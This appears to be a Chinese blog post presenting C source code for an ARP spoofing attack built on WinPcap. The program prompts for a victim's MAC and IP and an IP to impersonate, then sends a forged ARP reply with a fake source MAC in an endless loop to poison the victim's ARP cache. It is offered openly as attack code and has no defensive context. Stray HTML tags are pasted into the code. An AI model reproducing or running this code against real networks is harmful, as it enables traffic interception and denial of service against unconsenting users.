以下便是WinPcap环境下的Arp攻击代码
#include <stdlib.h>
#include <stdio.h>
#include <pcap.h>
int main()
{
pcap_if_t *alldevs;//定义一个网络接口的一个节点
pcap_if_t *d;
int i=0,inum=0,j;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[60];
pcap_t *adhandle;
/* 获得设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印列表 */
for(d= alldevs; d != NULL; d= d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return 0;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
/* 跳转到选中的适配器 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* 打开适配器 */
if ( (adhandle= pcap_open_live(d->name, // 设备名
65536, // 要捕捉的数据包的部分
// 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
1, // 混杂模式
1000, // 读取超时时间
errbuf // 错误缓冲池
) ) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return -1;
}
printf("输入被攻击方的MAC地址(如FF-FF-FF-FF-FF-FF则为广播)\n");
scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);
/* 以太网目的地址*/
/* 以太网源地址,当然是假的 */
packet[6]=0x0e;
packet[7]=0x07;
packet[8]=0X62;
packet[9]=0x00;
packet[10]=0X01;
packet[11]=0x12;
/* 帧类型,0806表示ARP协议 */
packet[12]=0x08;
packet[13]=0x06;
/* 硬件类型,0001以太网 */
packet[14]=0x00;
packet[15]=0x01;
/* 协议类型,0800IP协议 */
packet[16]=0x08;
packet[17]=0x00;
/*硬件地址长度*/
packet[18]=0x06;
/*协议地址长度*/
packet[19]=0x04;
/* op,01表示请求,02表示回复 */
packet[20]=0x00;
packet[21]=0x02;
/*发送端以太网地址,同首部中以太网源地址*/
for(i=22;i<28;i++)
{
packet[i]=packet[i-16];
}
/*发送端IP地址*/
printf("输入<span style="font-family: Arial, Helvetica, sans-serif;">要假冒的ip地址\n");</span>
scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]);
/*目的以太网地址,同首部中目的地址*/
for(i=32;i<38;i++)
{
packet[i]=packet[i-32];
}
/*目的IP地址,手动输入*/
printf("输入被攻击方的ip地址\n");
scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]);
/*填充数据*/
for(j=42;j<60;j++)
{
packet[j]=0x00;<img src="https://img-blog.youkuaiyun.com/20150417193500838?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvWllOX0xFQVJOX0NPT0RJTkc=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" style="font-family: Arial, Helvetica, sans-serif;" alt="" />
}
/*在屏幕上输出数据报*/
for(i=0;i<60;i++)
{
printf("%x ",packet[i]);
}
//int k=10;
/*发送数据报*/
while(1)
{
pcap_sendpacket(adhandle, packet,60 );//一个装有要发送数据的缓冲区,要发送的长度,和一个适配器
printf("OK\n");
_sleep(1000);
//k--;
}
pcap_close(adhandle);
return 0;
}